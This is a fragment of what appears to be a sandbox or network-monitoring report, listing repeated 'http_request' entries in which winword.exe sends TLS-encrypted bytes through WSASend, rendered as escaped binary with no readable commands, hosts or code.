                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb1\\xa9n\\x95\\x9e$\\x121\"\\xf4h\\xe5\\x07\\x91y\\x8c\\x10\\xd3wt\\xdc\\xa1\\x12\\x9fo\\x86\\xa8\\xa6\\xa8>\\xf7\\xd4\\x8e\\xc7\\xc34v9\\xed\\xa4ey0\r\\xeb\\xd9\\xda\\x13\\xbd^v@j5,\\xe9\\x94ya\\xf9\\xfa%\\x98\\xb0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000k\\x82\\xa1\\x13\\x13yy\\x90/q-\\xb5\\xfc\\xa0\\xb1\\xa8p\\xb4\\x88\\xcb\\xd4\\x94c\\x8f\\xee\\xf9\\x92\\xfa\\x7f\\xc0h\\xa4\\x08\\x02il\\x1am=\\xa3\\xed\\xa8f\\x8a\\x93h\\xf0r"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbf\\xa5\\x08c?\\xecy >\\xb2vig\\x9c\\x13;\\x9d+\\x83\\xf5\\xdb\\xa9o\\x85t\\xfe\\xa3\\x1b\\x1b\\x14\\xe5v\\xc0\\xad\\xf8c\\x04\\x9a7j\\x1a\\x04\\x8d\\x01\\xe6\\xdbv\\xbd_\\x11t\\xe0b\\x86!\\x86\\x0c\\x0e\\xa4c\\xc1\\xc1t\\xaa\\xeb~\\x1e\\xe2\\x0c\\xfa\\xa6\\xedm\\x8b4 ;.\\x93\\x1c\\xb3l(\\x99\\xa2kd\\xa5r\\xf6\\x80\n\\xbf\\xadq1\\xecbfy\\x8b\\xe8x=\\x91\\xfa/\\xd36\\xd0\\xc3\\xddp\\x85\\xf5 o\\xef\\xc6\\x0f\\lq\\x1c\\xeeze\n\\xc8qm-\\xc4h\\xa15-\\xbc\\xe4g\\x961\\xf1`\\x9f||\\x97iq\ra\\xaa\\xed`\\xf5s\\x0c\\x08\\xed|&\\xfe4\\xfd\\xc4pt\\xb2\\x93n\\xb8\\x8d\\x8ftgu\\x19\\xb6\t#\\x85\\xb1\\x95\\x88j\\xad\\xbb1\\x05\\xf2\\xb5\\x1a?\\xd2\\xcd\\x8e\\xb5\\x13#u\\xa8v\\x1ep\\x07\\xb6\\xc3c\\xae\\xb6=\\xa1\\xe2m\\x8e\\x9d\\x81\\xf6'\\x97d\\xc3\\xc1\n\\x8c\\xcc\\xd8\\xe3\\x8b\\xb3>\\xd9j\\xb9\\x01\\x80\\x97h\\xa25\\xe4\\xc8\\xd7\\x9ae\\x0b\\x04"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010!\\xdda\\xb7\\xe1\\xe2\\xfek`s7\\xe7\t\\x95\\x1e\\xafr\\xb7\\x0c\\x03\\xbb\\xe8\\xf0\\xc58\\xe6u\\xf4e|\\xdb\\x97\\xd1r\\xed\\x17_\\xfaz\\xee\\xbao\\xaf\\xc7k\\xb5\\xafl\\x7f=m\\xba\\xdfia3\\xf7t\\x91\\xfc\\xa7;f\\x8a\\xae\\xad\\xf4\\x0b\\xfd#\\x0e\\xb9\\x80\\xd2t\\x89a\\xba\\x95\\xf0\\xc2\\xa6\\xb4\\xb8d\\x86\\xce$\\xff\\xd8\\x8a\\xba\\xe1x\\x18s\\xba&t$\\xee>\\xefu\\x86~\\xfe\\xb1\\xdb\\x8e\\x82v8\\xc3\\xae\\x18)\\x8b\\xb7\\xadu\\xb2@\\xbb\\xf7;\\xea\\xd6iwu9\\xeex\\xf6y\\x11\\xd5$\\x02c\\xa2>\\x1ew\\xc6<+\\x1cdg3wg.\\xc7\\xc1~\\xeb\\x14\\x7f\\xf4i\\x9b\\x07z\\xe2\\xc7<\\xa4\\xc6\"\\xf9p-\\xfd\\x11\\xaf4*o\\xaf\\x84\\x82;\\xd4yg\\xce\\xe9\\x8f!e\\x02\\xa8;\\xedu+\\x1ex\\xa7\\xfd\\xb8\\x9bgy\\xbcoj\\xc78ra\\x92\\x1c\\x9d\\xd2b\\x9e\\xd3z>\\x088\\xac\\xb3\\xc3\\xe0io\\xd4b\\x97 +#m\\xaa\\x8a\\x19x\\xa0\\xe1\\xd5\\xdb"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010p\\x01s\\x11\\xf8\\xe4\\x8a\\xf5\\x82\\xdf\\x13t\\xc4\\x18\\x80\\xe3\\xa2\\xef\\x92\\x8f\\xa7\\xc7\\xf9s\\x9a*\\xcdk0\\x02\\xdezp-\\x84\\xb3d\\xf1\\xa1\\x18v\\xa2\\xac\\xa2\\xf6\\xc6\\x16$\\xe5\\x8e\\x16|g\\xe3\\xa2\\xfd\\xd7c(\\x8an\"\\xe1\\xb6\\xdbo|\\xa9\\xe7 \\xb9?>\\xae\\xa5dcuo\\xe4\\x96s\\xcc\\xc4`f\\x10\\xc2n1o@m7\\xbe\\xfd\\xe0g\\x86\\x1d\\xbf\\xd1\\x9a\\x1b\\x1bn\\xb3\\x16_v|\\xf4y\\x1de\\x82\\xc5\\x8d\\xea\\x88\\xe2\\x80\\x06\\x1d\\x9d\\xc0\\xeb\\x15\\xee\\xe8\\x01lwe\\xab\\x02\\xf2m\\x7f\\x98,r\\x06\\xb2/h\\xd8\\x8e\\xd3rs\\xd8(\\x8c\\xdd?#\\xdbm\\xc1)\\x93\\xf5b\\xa3d\\xa2\\xfa\\x9b\\xf6\\xcb\\xd2\\x8ax\\xab\\xed|\\xc5\\xfd\\xfc\\xa6\\x00\\x13\\xceb\\x83#\\x9f\\xe6i$\\xc7\\xaf\\x94\\x8a\\xb5\\xe6\\x04\r5@\\xea\\x8c\t6n\\x1b\n\\x8a\\xc6\\xdb\\xd2\\xfd\\xf0\\xb6; -\\x7fz\\xc6\\x01\\x9fp\\xf8\\x13\\x86\\x14&\\xcd\\x13\\x8dv\\xc1\\xc6\\xe9\\xa9o\\x03\\xe0s\\x15\\xc2)\\x7fbn"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa4cq\\xfe\\x93\\xb6y\\xc4\\xf1\\x8e\\xe2\\xa9\\x17;\\x8ff@\\xa8\\xa8\\xb2(\\xbf\\xa2\\xae\\xe7\\x9e\\xbbi%\\xf7ck\\xa0\\xeb\\x1d\\xbb\\x8c\\x9d\\x90\\xab\\x90h\\x0b\\xacg\\x17,\\x9bxr\\xcd\\x1c\\xfd\\xa4\n\\x8ce<)\nu\\xf6\\xb6\\xd9\\x87dic\\xe9\\xd0!^\\x87o\\xc9\\xc6\\xe6\\xf3\\xdc;\\xe9\\xa7y\\xf1+u\"\\xacw\\xc8\\xbf\\xfb\\x94\\x7f\\x93\\x15\\x08\\xa6r:\\xc7$3\\xb7\\x8al\\xd4r@\\x01\\x02\\xa3\\xb1\\xf0,\\x11\\x16\\xea#\\x93/&e\\x19<\\x19\\xe9\\xa8cr\\xf0\\x0flf\\x1f~x\\x8c=)#q\\x94\\xaa\\x8a\\xb56\\x8ar\\xf8\\xc8\\xa5\\xa8\\xae\\xbfzc'\\xec\\xdfw\\xd3\\xcb\\x9c\\x01j\\xc0i\\xf0\\xa9\\xa1!3\\x16d\\x16\\xdbr\\xb6\\x11=\\xd8|\\x87_\\xa6\\xf9\\x82\tg\\xf1\\xaf\\x86\\x11z\\xda\\xab\\xee\\xfc\\x05 \\x08\\x0c\\x16\\xe2\\x9ezs\\x00wow\\xf4\\x9e\\x0cg\\xa6h\\xb4\\xa6j\\xb8\\xafw\\xf3`<!)4s\\xf4\\xcb\\xa0^6\\xd8\\x11\\x92x\\xf4\\x06&|\\xf9\\xcb"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010%\\xfb\\x8a\\\\x10x\\x92)\\xa8\\x1c,\\x05\\x8d\\xb3`\\xa5z\\x8dk~\\x08\\x14^\\xfbqw\\xbf\\x1af\\xdfzb\\x8ei\\x1fpw\\x82|\\xab\\xe3 \\x05h\\xa41\\xfc:\\xb4\\xcde\\xa0\\xac\\xb8~7j\\xc3\\x89\\xb4tz\\xdatfk\\.\\xe6\\xb49.\\x95.\\xfb?e\\xce\\xa5\r&\\xf3\\x93\\xcf\\xdbqn\\xc3\n\\xfb'\\xa8\\xb0\\x03\\x83\\xaf\\xces\\xb1\\xe1\\x8ak\\xaa\\x82\\xbe\\xbf\\xe8id6\\xbf\\xa9\\x8f\\xc5\\xb3\"\\xee\\xd4l\\xd8+\\xfew\\xc8,\\xc1\\xaa\\xdad\\x83\\x1e\\xf5\\x9ej\\xa0t\\xde\\x91\\x0e8\\xe2g\\xf5\\x89\\xbf\\xe7\\xf7*\\x9e\\x1e\\xd7\\x1a\\xf0\\x97\\xcfgt\\xa3f4\\x8dqz\\xdd,v\\xce\\x11\\xe4c\\x06^jr\\xf1a*\\x03\\xe5\\xf8\\xe8\\xbf\\x1a\\xdf\\xc9\\xe9\\x10f\\xdf\\xf1\\x88\\xb5\\x1a_\\xb6\\x9a)\\xe8|\\xe45d\\x96l\\x0bv\\xc74\\xd6wy\n\"dd\\xf8\\xc3\\xf0m\\xb2u\\xda\\xc6\\xf8\\xe5@\\x81t\\x8d09\\x07\\xe0\\x96\\xbd\\xd4\\xd8\\x1e\\xe4\\xbcq\\xe7\\x96q\\x1f#\\xa1"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcc\\x87\\x8f\\x1c\\x8da\\xba\\x93h&\\xad\\x9c\\xb4e\\x9f@\\x00d\\xee5\\xffp4u\\xfa&b(\\xd4\\xab= \\x93*i\\x10*`\\xa4\t\\xf4i\\xe5x\\xa8\\xec\\xcb.\\x12\\x10\\xbb\\xd8\\xa5xc\\xd7\\xad\\xdc6\\xd0\\xb9\\x90\\x0f\\x01^\\x90\\xee\\xfbc\\x12,f<\\xaa\\x1e\\x88\\x8c\\xaa\\x97wac\\xb8\\xfe@\\xb4\\xdb\\x8e\\xf0\\xc4\\xcf\\xe6\\xbc\\xa6wa|\\x8d\\xc5\\xcfl\\xb9\\x83wd0\\x12\\x82\\xd5\\x96q\\xafr:\"\\x12\\xcbg\\xe0kg\\xae\\xb9\\x8b\\xd8\\xfb\\xfb\\xa2\\xe6\\x9f\\xa9\\x0c\\x9b\\xea\\x00\\xa3\\xc54\\xf5;nh\\xa7\\xcb\\x16\\xdd\\xfer\\xdf\\x87 -\\xda\\x1aq\\x8d4\\xbb\\xb6m\\xe8d\\x07\\xb6\\x9c\\xe4=\\x06'\\xc7\\x90d\\xf9\\x16\\x03\\xb9\\x9dio7e`\\x86r\\xea\\xf0\\xcd\\xb2\\xf0\\xe1\\xbc\\xc4\nb\\xe8\\xd63&\\xed\\xca\\x1a$g\\x85p\\x81^fi\\x9a\\xd6\\x13\\xe4b`\\x91\\xc0&\n\\xbd\\x96\\x03\\xb9h\\x10i\\xd1^)\\x9b\\x03\\xbc\\xe6\\xb0\\xcb\\xb7f\\x03\\x89\\x83\\xe3\\x9eh\\xc5\\xa8p`\\xc9"


                "http_request": "winword.exe_WSASend_\\xd8,_\\x08 \\xd6a\\x08nb\\xa6\\xee\\xf0\\xfb\\x82$\\x06\\xee\\xc9\\x1a\\xa8\\x12\\xe4\\x16\\x1ci\\xdb~@\\xa6\\xd8\\xcf\\x10\\x93)1\\x80\\x92\\xe3e\\xbb\\x8bg\\x0e\\xc1\\x87\\x83\\x01\\xe4\\x18\\x1cz\\xdd/\\xf4\\xa3\\x98\\xde\\x8d\\xa7\\xb0qu8*\\xc8\\xa6\\xc5\\xbfr\\x1f=\\x8a\\xb8y\\x9fa\re@\\xa1\\xf4\\xa8s<\\xb2\\xff\\xdc\\x7f\\xa2b\\xe92\\xdd\\x1b\\x9f6\\\\x80\\\\xb4h\\x8d@\t\\x86q\\xddz\\xa8\\xd2\\x022:\\xf4\\x1ckf.\\x87/z\\xca\\x884\\x94\\xbce\\xb7\\x14gi\\xebz\\xaa\r;4\\xb9\\xc1\\x01\\xa6\\xe5\\xd2\\x9bn\\x97\\xbf\\x8b<e\\xb7\\xb6\\x84o\\xe1n\\x11a\\xc7h\\x9br\\xb9\\x0fi\\x07\\x92^\\xf4b_\\x9a\\xc2c\"5\\x81\\xdb\\xdd\\x16q8\\x84\\xb88m\\x86f\\xbe3i\\xd8\\xa2\\x83qy\\xa4\\xc3\\xce='\\xc5\\xf57`#\\x90\\x9a\\xe4\\xcd\\xc0\\xe8e=\\x82j\\xa0l\\xe4\\xd7:\\x1a\\xd2\\x07\\xe8\\xcay|\\xc5\\xc2.\\xa6r\\xbb\\xf4\\x96\"g\\xe9qtkj\\xfdkfb\\x81\\xf0\\xf9\\xd0a"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010^\\xf7.\\x03\\xb3j\\xa5\\x85\\xcb\\xc0l\r\\xbe\\x13\\x80\\xba+mv\\x8aa\\x07'\\x91\\xba\\xdd\\x94\\xdf2\\x145i^\\x9ax\\x1d\\x1a.\\xfb\\xbf\\xe8!\\xcb\\xc8\\xe2\\xb8\\xcb\\xf2\\xef\\x98\\xcf\\x0f\\x06h6\\x8b_mj|\\xbe\\xe8\\x9c\\x08\\xa9\"\\xf7\\xe6iu4\\x14\\xc7\\xcb\\x84\\xfa\\xa3*b\r\\x04h\\x1b\\xe7\\x06\\x00\\x07\\xd8e\\xca\\xfc\\x96\\x8eu\\x93bl\n\\x83h\\xbb \\x7ft,\\xf3\\xedz\\x0b\\xa2v\\x8e\\xd0*n\\xccn\\xfck\\x19@\\x12\\xb9\\xa6\\x03\\xf0\\xc5\\x15\\xd6\\xd4g\\x1bg\\xff\\xc8\\xc0\\x1d8\\xa0\\x83j\\xdc\\xe0\\xe5,\\x1d\"\\x9c\\xb41\\x97\r\\x1f\\xbdl\\xe6a\\x10\\xd9\\x05\\xebb\\x13\\xbf\\xdac\\xbcf\\xa7\\x88\\x89\\x00\\x01?\\x7fxq\\x1atz\\xca\\xd8\\x19jxr\\xa4&\\x88rep/\\xb4\\x90;4\\x9d_\\xe8\\xfax\\x02\\xd7\\x1cn>\\x86\\x1a\\xddk\\x15t\\xb9\\xf05\\x18\\x87\\x94uo\\xfb\\x13fs\\xa3o\\x83\\xcc'-\r\\xdde\\xf7\\x07\\xd5\\x9c\\x08\\xdd\\xa4\\xc0\\xb4\\x1e"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe7\\x04\r\\xd4\\xa2\\x80d$\\xc3b\\xc1\\x1f\\xc3\t\\x9dz\\x94'\\x87\\xf3\\x07\r\\xc3\\xcb@\\x96\\xec\\xce\\xaf\\x7f\t\\x1eb\\x00\\xcd\\x81\\x16\t\\xa7\\xcb\\xf8\\xbb\\x06\\x19'\\xbd\\xdfaw\\xc9\\x86\\x85\\xef8\\xe1\\xfc3c!\\x0f\\x07\\xb2*z\n\\x05\\x9f\\xa0\\xb0\\xc9se\\x06t\\xf1\\xc5\\xb5g\\xaa\\x9f\\xc3\\x987\\x92\\x89e=\\xfa\\xe3\\xfc\\xb7\\xfd\\x92\\x1cv\\xf6\\xc2;\\x99t\\xd6h\\xd5\\xe9\\xc58\\x0874\\xe6\\xf6\\xc1|\\xa6b\\x9c\\xb8@v\\xa9\\xd7\\x80\\xc7<\\x9d\\xaf\\x92\\x05&p\\x97q\\xdd\\xffgv\\x0b\\xa9\\xfa\\xb7\\xda=n1\\xd0\\x03gi\\xb4:5\\xaf\\xb3j\\xb4\\\\x1c+n\\xd7w\\xa0\\xf5)\\xac\\x1f\\xd3\\xcb\\x83^a\"\\x83\\xf7\\x91\\x0by9h\\x99\\xbb\\xf4\\xc0\\xd0\\x15u\\xd8\\x11\\xd5q\\xf6a\\x0b\\xca\\xb2lv\\x19l\"\\xb3r\\x03\\xf4`c\t\\xfd\\xfbc\two\\xcb\\x05\\xf0\\x99\\xd3\\x1a\\xc2f\\x1f\\xaay\\x94\\x01\\x94\\xee0%`\\xabi\\x15\\xceaw\\xc6\\x05\\x83\\x87\\xf3-l\\xf3o"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1b8\\x0brk\\xfa~i,\\xa7\\x9c%>\\xd4\\xaf\\xc8hhf\\xa6\\x04m\\xf5i\\x9f\\xda \\x1a7\\x92hn\\xc8\\xff\\xc5\r\\x96\\xa8\\x9d\\x91:\\xe9/\\x02\\xf4\\xfdph\\x16\\xd0\\x17\\xfc\\x7f?\\x85\\xb4\\xb2\\xe2\\x9d\\xe5\\xa7\\xd4h\\x96\\x85\\xeb\\xf8\\xfd\\x96\\xc7\\x05\\xa2h\\xbb\\x80\\x16\\x94\\x04\\x9a\\xb5\\x15\\xecg\\xf4\\xff\\x13\\xbb\\x90=\\x8a\\x82\\x1d\\xe6\\xfa\\x87;\\xb2\\x13\\xf9\\xf3p\\xca\\\\x83\\x91\\xc8\\xcc\r)\\x17\\xe3\\x0e\\xc2\\xc7\\xe0-\\xac\\x1eh\\xa2\\xb3\\xd2\\xe4/_(v\\x1a\\x08~\\x9f\\x99\\x9eb\\x061>\\x03\\xc2o~i2y>\\xc2uthl\\xfa\\xee\\xdb\\xb5\\xce\\xf5\\xe3/\\xf7\\x8e\\x04'\\x11i\\xa7\\xb6\\xc6m\\x95>f_f\\x83\\x86nv\\x89o\\x0fs\\xd6q\\xda\\xb9+\\xfe8\\xe7\\x1a\\xf7,yak\\xf4\\x16\\x1dw\\x02\\xb0\\xef\\xe4\\xda\"i\\xb4\\xf7\\xe5\\x81\\xe9\\x95o\\xed\\xa4\"q\\xaa\\x9f\\xbci\\x90\\xd1\\xab\\x0c|k\\xce\\x9c\\xfc\\xc2\\xa6:\\x1c\\x1d\\xf4f\\xa8\\xf0\\xa0=i\\x1eu\\x01\\xd2"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0br\\x99\\x03\\xd9\\xb2,\\x01\\xae\\xe7\"\\xdb\\xed)\\xc9g\\xf6i\\xc8\\xfb\\xff\\xec\\x08\\x16u\\x11\\xd3\\xd9\\x1b\\xd0lo\\xbc\\xb6\\x1cp\\x96\\xfcy\\xc2\\xef\\xbd\\x13n\np\\xb1b\\x10>\\x98\\x8b|\\x92\\xc6\\x14e\n\\xa2-\\xb5\\xb7u\\xd1\\xa1\\xab\\xcd\\x1a\\xcb\\xe6vv'\\x1b`b$\\xfc-\\x1c6 =\\x1fb\"(\\xf1z\\xe7\\x98\\xab\\xbdl/a\\xe0\\xe9\\x97u\\x1c\\xd5\\x91l.\\x00n\\x83\\x9c\\xba\\x88\\xe6\\x01\"\\x8b\\x98\\x81\\xf1r\\xa6\\xf3l\\xa4a1q\\xa4\\x8a\\xab7\\x1a\\xf5b\\xf2\\xd9q=\\xe4\\x93\\x8a\\xc6\\xe0t\\xbd\\x80\\xaa\\x90\\x85\\x84j\\x97:\\x1b\\x96\\x9etz\\xd4uf\\xcdp\\xb6e^kf\\xbe\\x14\\x18\\xae\\xc3\\x07!\\xaa\\xa8\\xa0\\x9ff\\xc3\\xbb\\x16(\\x05\n\\x9c\\xdc\"\\xdb\\x16t\\xa39\\xad\\x1a\"\\xc6\\x9e\\x9e\\xc7ez\\xcf\\xdama\\xa6why\\xe9\\xbf\\xf0\\x98\\xfb\\xb74o,\\x83\\xc5l\\xeb\\xff<\\x96$\\xd3lp\\x1f)\\xabc\\x0f\\x89\\xde\\x87\\x0b\t\"\\xf8\\x183\\x8d\\x9ae\\x9c@"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0101t\\xf9pb\\x8bp\\xf8\\xe3.0\\x95-\\xc5kk\\x17ph83\\x0c\\x89`g\\x8f\\x10\\x8c\\xb4\\x90\\x0f\\x03\\xbf\\xc7d\\xbe\\xaf\\x0f\n\\xe3\\xc4i\\x9b\\x1f\\xf7\\xf6\\xbd\\xc5\\xfb\\xd4n\\xa6~\\xc4+\\xcc+!\\xacd\\x97\\x18\\xb0\\xa5o\\xfb~+\\x86\\x08\\x1d%\\xab\\xadyf\\x08\\x84\\x8f\\x15\\xeb\\xe84\\x02ei\\x83|e\\x15\\xc8\\x8b-\\x7f\\x0f\\xca\\x7f\\x8d\\xb6\\xc6\\x80\\xe3o\\xcb\\xf1\\xc7\\xdayl_\\xf1e\\xb5\\x95\\xd0y\\xa3\\x1e\\x81\\x1f2\\xcf\\xbcv,\\x9c\\x87\\xdbk\\xc9\\x1e\\xd9\\xe9\\x82\\xc44\\x8a\\xf7*\\x98\\xa6>w\\x10\\x8b\\xab\\x87\\x9a\\xb2\\x84x\\x8d/yp\\xa1\\xe9n^\\xc9fl\\xc6\\x9b\\xa6\\x85\\x9a_\\xe5\n\\x0b\\x97\\xe0i\\xff\\xa7h\nx\\xc4\\xb7\\xb3.w\\xd8\\x0f(\\xd6\\xc9d\\xca\\xb0\\xa5\\xa6\\x9er\\xbb1\\xc7\\x80\\x9f\\x9c\\xbf,\\xad\\xed\\x178\\xff%t\\xa6\\xb7\\xd8-ya\t\\xc3\\xdblk\\x18\\xb6-\\xb9\\xa6-\\x7f_\\x90\\xfe\\xa9\\xa0\\xe8\\xa0\\xdb\\xbf'&j\\x0c\\xa0\\xe4|z"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010+\\xb2\\x1bkq\\xe9\\x0f\\xe6\\xe2\\x8f\\xed%\\x92g\\x01\\xc2\\xb8\\x9f\\xb3;\\x14\\x10\\x91\\xf6\\xf4\\x1d_g\\xfd\\x05yw\\xb4\\xd2\\xde t\\xad\\x9f\\x04\\x16\\x9f\\xc4\\xd2\\x14\\xd0\\\\xb1\\xaa\\xad\\x9e\ri\\xb7:f99\\xab\\x81\\x19\\xe0\t\\xbc\\x0e\\xef\\x13\\x9a\\x10\\xf3\\xbeedy\\xf5\\x8a\\x11= \\xd5\\x95\\x1c\\xcf\\xf8\\x1b\\xab\\xe0\\x83_\\x93rt\\x9a_\t \\x8c\\xb9x\\xc1p\\xf7\\x05\\xc3\\x9b9'3w!\\xa0mx\\x03v4\\x9a\"_=x^\\x96i\\x01\\x9b\\xdb\\xcb*\\x12l\\xa0\\xa8\\xfd\\xbd\\x10\\x11\\xe9\\xcb\\xaf\"\\x16v0\\x91a\\x9el+0\\xe7\twt\\x98\\xc8e\\xf2\\x15pn!<\\xb3\\x08\\xbd\\xd7\\xb5\\xd7m\\xe87hn\\x04\\xdcw*?\\xdd;\\xdd\\xcd\\xd3\\xac\\xe41\\xd6\\x82n\\x90\\xf5\\xda\\xda\\x9b\\x04#g\\xf0\\x89\\xfe\\xbd\\xf08y\\x87\\xa4iy\\x02e\\xb1+f\\xf3/)\\xcc\\xac\\xc2\\x82\\xc2z\\x90n\\x1e6tq\\xc9\\x9de\\xea\\xfe@\\x01\\x89*\\xff\\xeb\\x8f\\x07\\x96\\x9a\\xa6\\x9f\\x1e_\\x80\\xdf"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf8\\xee\\x13\\x06\\xfe\\xe2\\xda\\xfc%\\xe3k\\xc08lt\\x12o\\xa3!s\\x1f\\xc8\\xf7\\x99\\xf2o~c\\xca^\\x14\\x8b\\xa2<\\x8c\\x96o\\xf5s\\xfb!\\x94?vz*\\xff*lp\\xa7p\\xf2\\xa1\\x94\\xddk\\x05\\xa9\n\\xce\\x18 v\\xf3\\x0e\\xc4h\\x8f\\xe3\\xf6!\\x80\\x8d\\x1b\\xef\\x02\\xf5^s\\xc5\\xffr*z\\xa0@\\xd4y\\xccz|.\\xa4\r\\xd1\\xae\\xcc\\xad\\xee\\xdb\\xd0>\\x13$mbs\\xf2_\\x81\\xd9\\xd3\\x7fsoj\\xa2\\xa2/\\x91i|\\x13\\x12\\x0f\\xa8\\x07qi #\\xafej\\xbf\\xbel\\x1c\\xf9\\x02\\xe0\\x9e\\xc5f*\\x8c\\xbd\\x99ou\\x97\\x94et\\xf32\\xce\\xaa&\\xad\\xd1z\\x18\\xd0\\x13\\x9cnf%0\\xa1\\x87\\xbd\\x04\\x9b\\xf3\\xe0\\xed\\x15\\xcf\\xad\\xc5\\xaam\\xdb\\xac\\xc8|\\x90\\x80\\x0f\\xfd\\x18w\\xe0\\xf3\\xc5\\x13\\xa8\\xe4\\xca0p\\xba\\xdd\\xbd\\xdfj?\\x9b!\\x8fc\\x89\\x91m+%n@\\x0f\\xd3\\x9enz\\x82\\xa2cgucd\\x01^\\x83\\xe3a\\x1ca\\xd7j\\x07\\xd4\\xae!\\x1d8"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010d\\xff1\\xd6`\\xb9\\xf5\\x94\\xe5r\ta\\xd5\\x803\\xb9\\x93\\xd0c\\xebh:2\\x98\\xa0\"\\xbe~\\x07\\xc4o\\x00=\\xd6\\xed\\xe3\\x04\\xb0n6\\x88\\x14\\xffh\\xdce\\xfc\\x040\\xccz\\x94:\\xcf\\x90\\xd8\\x99\\x8f\\xf4s\n\\x98\\xfeq\\xc2\\x9c^\\xd4\\xeaj\\xc9\\xa4^\\xb9\\x16\\x11\\xc2r\\x95l\np\\xf7\\xefv\\xbf\\xdb-\\x02\\x00\\x97\\xefli\\x88\\x89\\xce\\xd0\\xa6\\xdbs\\xb2\\x92\\x13\\xdaf\nf\\xb8\\xab\\xc4ppj\\xa4\\x9f\\xf8\\xa6\\x7fj\\xd8\\x8c2(ph\\x81b_\\x84s\\x1e\\xe9\\xc7s\\xbc\\x07\\xcbev\\xdc\\xd7\\xf5a8x><v\\xc7mi\\xbc\\xd3\\x97\\xdao,.cbp\t\\xc4\\xa6\\x0e\"\\xccv\\x85\\xa7\\xc07\\xf9p\\xe8l\\x9d\\xfdtv\\xd3\\xe8\\x19\\xa8\\x84\\xb6h\\xe9\\xa3q\\xbf\\xfe\\xdd;\\xb5jb\\xcc\\xfa\\xc1\\xd5\\xf91&4\\xcfd\\xa4\\x86|\\xc5\\xdb\\x8f\\xe0g\\xa2\\xe2 \\xf7\\xb4!\\x92\\xac\\x13o\\xcd\\x03\\x8c\\x9a\\xa6\\xe9\\xa3\\xaak\\xa9\\xd3z\\xa3r\\xb9\\xaa\\x8c\\xd8\\xed"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x173\\xb0\\f\\x8avv\\x10\\xb5\\xd1\\x03(\\xbdtei\\xa4s\\x87k\\xab+\\xdcaah\\x1f\\xff\\xdb\\xc1mj\\xd2v\\xd3\n\\xe77\\xdfk\\xc3\\x19a\\xde\\xd2z\t&\\xcf(b\\xe1\\x14q\\x07c\\x1c\\x8a;\\xd9q\\x8a\\x1f\\xb7,\\x85\\xcf\\x95u\\xb5\\x0b\\xf1\\x95e\\x966\\x81\\x98t\\xa4\\x10\\xbc\\xde\\x86\\xef\\xe4l3\\x8f\\xdd<\\x81\\x13#\\xcf\\xd5\\xd1\\xfd\\x07\\xe8\\xba\\xb6\\x95\\xd9\\xa7\\xa2\\xd0\\xe2\\xaf\\x16\\x99\\x88\\xd98d\\xc4\\x8a\\x9b\\xce\\xd5\\xb9\\xd1(u\\x85\\xf8\\xe1j!\\xf1&\\xd1\\x89`hy\\xf0\\xaa\\x94\\x9b\\xbc\\x04\\xc7\\xbd\\x1ac\\xe2j\\xbdj\\x0c?\\xbd\\xa7\\xb5\\x89\\xb4t\\xa7\\xee\\x8c(w\\xa1u\\xe2fp\\x0b\\x15tiz!\\x11\\x96\\xcd !\\x05\\xfd\\xb8\\xf8\\xc8(j\\xbb\\x94\\x8f8\\x8fc.b\\x83r\\x9b\\x9f\\xc2\\x07\\xed-\\xcd\\xe2.\\x1dk\\x1d\\x95-6\\x05'i\\x97\\x83\r\\x95\\x8f\\xd0\\x89jf\\xf6\\x19\\xea\\xc1\\xaf,g\\x13\\xb4\\xd4de\\xe7&\\x18\\xfb\\xef\\x1fu\\x9e\\xfda\\xe2\\xca`z"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xef\\xb5\\xdf\\xab\\xf9\\x16\\x9d\\xfe`\\xfbv\\xa9\\xfc2u\\xed\\xcf~$\\xa9\t)\\xa1m%\\x0e\\x99\\xcc|\\xf3\\x93z)\\x8f\\xfa\\x88h\\xa7\\xcb|\\x0f\\x84\\xbb\\xd7\\xb1n2\\xd0\\xa3\\x88\\xcf\\xad\\xa9\\x16\\x11;\\xadh\\xac\\x03\\xf6\\xe5\\\\x7f\\xe2b\\xe8\\xc8\\xf0i\\xb1\\x95\\x9b\\\\xa0\\xbd\\x00\\x04s\\xb3a\\x90\\xdbu\\xdc~\\xd3c\\xb5zy\\xd3>\\x88w\\xeb+g\\xb0\\xe01\\xbb\\xfby6\\x9dj\\xac\\xd2\\xa2.\\x92d*\\xd9b\\xe2\\xbe\\xaae\\x03\\x03 @\\x7f:\\x8b\\xbc_12\\xec\\xff\\xa9+\\xb2k\\xb7\\x1c`b\\xa17\\xb9\\x00\\x85l\\xde\\xbd\\x17\\x12\\xd0\\xaf\\xcf\\x07\\xba@\\x18\\x9a\\x90\\xe5^\\xeb>\\xfez~j\\xdfem\\x1c\\x11\\xa6l\\xb5i\r\\xb8\\x96\\xb9\\x82\\xf03\\x1dz\\x1f\\x0bgm\\x97\"x\\xc1\\x8c+\\xbahq\\x03\\xbb\n)\\xc2fj.\\xa8q\\x82\\xc8\\xa04\\x96dkow\\xf2u\\x81jyd\\xfe\\xd5\\x10\\x12\\xac\\xd8%f(4k\\xe6\\xb5\\xc3c\\x02|\\x81w\\xf4"


